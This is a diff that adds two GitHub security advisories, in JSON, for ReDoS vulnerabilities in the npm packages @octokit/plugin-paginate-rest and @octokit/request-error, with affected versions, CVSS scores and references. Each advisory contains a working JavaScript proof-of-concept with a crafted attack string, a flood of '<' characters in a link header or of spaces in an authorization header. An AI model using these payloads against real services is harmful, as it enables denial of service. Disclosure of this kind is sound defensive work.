diff --git a/advisories/github-reviewed/2025/02/GHSA-h5c3-5r3r-rr8q/GHSA-h5c3-5r3r-rr8q.json b/advisories/github-reviewed/2025/02/GHSA-h5c3-5r3r-rr8q/GHSA-h5c3-5r3r-rr8q.json new file mode 100644 index 00000000000..704217df783 --- /dev/null +++ b/advisories/github-reviewed/2025/02/GHSA-h5c3-5r3r-rr8q/GHSA-h5c3-5r3r-rr8q.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-h5c3-5r3r-rr8q", + "modified": "2025-02-14T17:57:59Z", + "published": "2025-02-14T17:57:59Z", + "aliases": [ + "CVE-2025-25288" + ], + "summary": "@octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking", + "details": "### Summary\nFor the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack.\n\n### Details\nThe issue occurs at [line 39](https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts) of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:\n```js\nurl = ((normalizedResponse.headers.link || \"\").match(\n /<([^>]+)>;\\s*rel=\"next\"/,\n) || [])[1];\n```\nThe regular expression `/<([^>]+)>;\\s*rel=\"next\"/` may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted `Link` headers.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/d3f2ad000be8384d2105c87c2ed7ce7d)\n1. run npm i @octokit/plugin-paginate-rest\n2. run 'node poc.js'\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { Octokit } from \"@octokit/core\";\nimport { paginateRest } from \"@octokit/plugin-paginate-rest\";\n\nconst MyOctokit = Octokit.plugin(paginateRest);\nconst octokit = new MyOctokit({\n auth: \"your-github-token\",\n});\n\n// Intercept the request to inject a malicious 'link' header for ReDoS\noctokit.hook.wrap(\"request\", async (request, options) => {\n const maliciousLinkHeader = \"\" + \"<\".repeat(100000) + \">\"; // attack string\n return {\n data: [],\n headers: {\n link: maliciousLinkHeader, // Inject malicious 'link' header\n },\n };\n});\n\n// Trigger the ReDoS attack by paginating through GitHub issues\n(async () => {\n try {\n for await (const normalizedResponse of octokit.paginate.iterator(\n \"GET /repos/{owner}/{repo}/issues\", { owner: \"DayShift\", repo: \"ReDos\", per_page: 100 }\n )) {\n console.log({ normalizedResponse });\n }\n } catch (error) {\n console.error(\"Error encountered:\", error);\n }\n})();\n```\n![image](https://github.com/user-attachments/assets/619c030e-5473-4a26-9e2a-4b9a26c1563b)\n\n### Impact\n#### What kind of vulnerability is it?\nThis is a *Regular Expression Denial of Service (ReDoS) vulnerability*, which occurs due to excessive backtracking in the regex pattern:\n```js\n/<([^>]+)>;\\s*rel=\"next\"/\n```\nWhen processing a specially crafted `Link` header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.\n#### Who is impacted?\n* Users of `@octokit/plugin-paginate-rest` who call `octokit.paginate.iterator()` and process untrusted or manipulated `Link` headers.\n* Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.\n* GitHub API consumers who integrate this package into their projects for paginated data retrieval.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@octokit/plugin-paginate-rest" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.0.0" + }, + { + "fixed": "11.4.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q" + }, + { + "type": "WEB", + "url": "https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/octokit/plugin-paginate-rest.js" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1333" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-02-14T17:57:59Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/02/GHSA-xx4v-prfh-6cgc/GHSA-xx4v-prfh-6cgc.json b/advisories/github-reviewed/2025/02/GHSA-xx4v-prfh-6cgc/GHSA-xx4v-prfh-6cgc.json new file mode 100644 index 00000000000..54fb45169cd --- /dev/null +++ b/advisories/github-reviewed/2025/02/GHSA-xx4v-prfh-6cgc/GHSA-xx4v-prfh-6cgc.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-xx4v-prfh-6cgc", + "modified": "2025-02-14T17:58:55Z", + "published": "2025-02-14T17:58:54Z", + "aliases": [ + "CVE-2025-25289" + ], + "summary": "@octokit/request-error has a Regular Expression in index that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking", + "details": "### Summary\nA Regular Expression Denial of Service (ReDoS) vulnerability exists in the processing of HTTP request headers. By sending an authorization header containing an excessively long sequence of spaces followed by a newline and \"@\", an attacker can exploit inefficient regular expression processing, leading to excessive resource consumption. This can significantly degrade server performance or cause a denial-of-service (DoS) condition, impacting availability.\n### Details\nThe issue occurs at [line 52](https://github.com/octokit/request-error.js/blob/main/src/index.ts) of iterator.ts in the @octokit/request-error repository.\nThe vulnerability is caused by the use of an inefficient regular expression in the handling of the `authorization` header within the request processing logic:\n```js\nauthorization: options.request.headers.authorization.replace(\n / .*$/, \n \" [REDACTED]\"\n)\n```\nThe regular expression `/ .*$/` matches a space followed by any number of characters until the end of the line. This pattern is vulnerable to Regular Expression Denial of Service (ReDoS) when processing specially crafted input. Specifically, an attacker can send an `authorization` header containing a long sequence of spaces followed by a newline and \"@\", such as:\n```js\nheaders: {\n authorization: \"\" + \" \".repeat(100000) + \"\\n@\",\n}\n```\nDue to the way JavaScript's regular expression engine backtracks while attempting to match the space followed by arbitrary characters, this input can cause excessive CPU usage, significantly slowing down or even freezing the server. This leads to a denial-of-service condition, impacting availability.\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/e1203ad22701fd043b8501eb37676a0d)\n1. run npm i @octokit/request-error\n2. run 'node poc.js'\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { RequestError } from \"@octokit/request-error\";\n\nconst error = new RequestError(\"Oops\", 500, {\n request: {\n method: \"POST\",\n url: \"https://api.github.com/foo\",\n body: {\n bar: \"baz\",\n },\n headers: {\n authorization: \"\"+\" \".repeat(100000)+\"\\n@\",\n },\n },\n response: {\n status: 500,\n url: \"https://api.github.com/foo\",\n headers: {\n \"x-github-request-id\": \"1:2:3:4\",\n },\n data: {\n foo: \"bar\",\n },\n },\n});\n```\n\n### Impact\n#### Vulnerability Type & Impact:\nThis is a `Regular Expression Denial of Service (ReDoS) vulnerability`, which occurs due to an inefficient regular expression (`/ .*$/`) used to sanitize the `authorization` header. An attacker can craft a malicious input that triggers excessive backtracking in the regex engine, leading to high CPU consumption and potential denial-of-service (DoS).\n#### Who is Impacted?\n* Projects or services using this code to process HTTP headers are vulnerable.\n* Applications that rely on user-supplied `authorization` headers are at risk, especially those processing a large volume of authentication requests.\n* Multi-tenant or API-driven platforms could experience degraded performance or service outages if exploited at scale.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@octokit/request-error" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.0.0" + }, + { + "fixed": "6.1.7" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/octokit/request-error.js/security/advisories/GHSA-xx4v-prfh-6cgc" + }, + { + "type": "WEB", + "url": "https://github.com/octokit/request-error.js/commit/d558320874a4bc8d356babf1079e6f0056a59b9e" + }, + { + "type": "PACKAGE", + "url": "https://github.com/octokit/request-error.js" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1333" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-02-14T17:58:54Z", + "nvd_published_at": null + } +} \ No newline at end of file